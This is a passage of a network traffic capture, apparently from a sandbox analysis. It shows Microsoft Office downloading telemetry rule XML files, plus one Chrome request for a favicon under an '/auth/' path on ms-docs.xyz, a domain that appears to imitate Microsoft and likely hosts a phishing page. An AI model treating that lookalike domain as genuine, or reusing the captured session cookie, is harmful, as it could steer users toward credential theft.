2024-12-03 14:32:34 UTC	470	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120662" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.9	49788	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 14:32:34 UTC	192	OUT	GET /rules/rule120664v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 14:32:34 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 14:32:34 GMT Content-Type: text/xml Content-Length: 502 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6A0D312" x-ms-request-id: 25536d4f-c01e-007a-0caa-42b877000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T143234Z-174f7845968px8v7hC1EWR08ng00000016d0000000002ffp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 14:32:34 UTC	502	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120664" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.9	49789	101.99.88.62	443	1184	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-03 14:32:34 UTC	417	OUT	GET /auth/resources/favicon.ico HTTP/1.1 Host: www.ms-docs.xyz Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=64164147a0126881c9cba57751d03b4f
2024-12-03 14:32:35 UTC	275	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 14:32:34 GMT Server: Apache Last-Modified: Sun, 06 Oct 2019 23:13:10 GMT Accept-Ranges: bytes Content-Length: 7886 X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Connection: close Content-Type: image/x-icon
2024-12-03 14:32:35 UTC	7886	IN	Data Raw: 00 00 01 00 03 00 20 20 00 00 01 00 20 00 a8 10 00 00 36 00 00 00 18 18 00 00 01 00 20 00 88 09 00 00 de 10 00 00 10 10 00 00 01 00 20 00 68 04 00 00 66 1a 00 00 28 00 00 00 20 00 00 00 40 00 00 00 01 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c2 6c 00 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: 6 hf( @ l

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.9	49790	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 14:32:35 UTC	192	OUT	GET /rules/rule120665v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 14:32:36 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 14:32:35 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D30478D" x-ms-request-id: b6cdcd34-001e-0014-02c7-435151000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T143235Z-174f7845968zgtf6hC1EWRqd8s0000000z1000000000b7sf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 14:32:36 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 53 73 5d 5b 53 73 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120665" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <SR T="2" R="([Pp][Ss][Ss][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.9	49793	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 14:32:36 UTC	192	OUT	GET /rules/rule120668v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 14:32:36 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 14:32:36 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3CAEBB8" x-ms-request-id: ccb4b789-101e-0028-02af-428f64000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T143236Z-174f7845968px8v7hC1EWR08ng00000016a000000000cvxw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 14:32:36 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120668" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.9	49791	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 14:32:36 UTC	192	OUT	GET /rules/rule120667v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 14:32:36 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 14:32:36 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BB9B6040B" x-ms-request-id: 15a89213-901e-0083-02aa-42bb55000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T143236Z-174f78459688l8rvhC1EWRtzr00000000ks000000000293f x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 14:32:36 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 51 71 5d 5b 45 65 5d 5b 4d 6d 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120667" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <SR T="2" R="^([Qq][Ee][Mm][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.9	49792	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 14:32:36 UTC	192	OUT	GET /rules/rule120666v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 14:32:36 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 14:32:36 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3F48DAE" x-ms-request-id: 306178df-a01e-001e-5af7-4449ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T143236Z-174f784596886s2bhC1EWR743w00000015z000000000myu0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 14:32:36 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120666" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.9	49794	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 14:32:36 UTC	192	OUT	GET /rules/rule120669v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 14:32:37 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 14:32:36 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB5284CCE" x-ms-request-id: ef6998ca-401e-0067-5ac5-4309c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T143236Z-174f7845968kdththC1EWRzvxn0000000kgg0000000015gw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 14:32:37 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 52 72 5d 5b 45 65 5d 5b 44 64 5d 20 5b 48 68 5d 5b 41 61 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120669" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <SR T="2" R="([Rr][Ee][Dd] [Hh][Aa][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.9	49795	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 14:32:37 UTC	192	OUT	GET /rules/rule120670v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 14:32:38 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 14:32:38 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91EAD002" x-ms-request-id: 18a648ed-001e-0049-1ef9-445bd5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T143238Z-174f784596886s2bhC1EWR743w000000160g00000000hcds x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 14:32:38 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120670" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.9	49796	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 14:32:38 UTC	192	OUT	GET /rules/rule120671v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 14:32:38 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 14:32:38 GMT Content-Type: text/xml Content-Length: 432 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:15 GMT ETag: "0x8DC582BAABA2A10" x-ms-request-id: b5b643f2-a01e-0021-77f9-44814c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T143238Z-174f7845968cs2nkhC1EWR2tq000000001rg00000000ccnw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 14:32:38 UTC	432	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 53 73 5d 5b 55 75 5d 5b 50 70 5d 5b 45 65 5d 5b 52 72 5d 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120671" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <SR T="2" R="^([Ss][Uu][Pp][Ee][Rr][Mm][Ii][Cc][Rr][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.9	49797	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 14:32:38 UTC	192	OUT	GET /rules/rule120672v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 14:32:38 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 14:32:38 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA740822" x-ms-request-id: 3d9c2adf-901e-00ac-7b91-3fb69e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T143238Z-174f78459688l8rvhC1EWRtzr00000000kr00000000063s9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 14:32:38 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120672" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.9	49798	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 14:32:38 UTC	192	OUT	GET /rules/rule120673v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 14:32:38 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 14:32:38 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:31 GMT ETag: "0x8DC582BB464F255" x-ms-request-id: 8aad1780-e01e-0020-7ed6-43de90000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T143238Z-174f7845968ljs8phC1EWRe6en00000015w000000000eztx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-03 14:32:38 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 54 74 5d 5b 48 68 5d 5b 49 69 5d 5b 4e 6e 5d 5b 50 70 5d 5b 55 75 5d 5b 54 74 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120673" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <SR T="2" R="([Tt][Hh][Ii][Nn][Pp][Uu][Tt][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.9	49799	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-03 14:32:38 UTC	192	OUT	GET /rules/rule120674v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-03 14:32:39 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 14:32:39 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA4037B0D" x-ms-request-id: 89e8b03d-001e-0065-5291-3f0b73000000 x-ms-version: 2018-03-28 x-azure-ref: 20241203T143239Z-174f7845968kvnqxhC1EWRmf3g0000000swg000000009mb9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
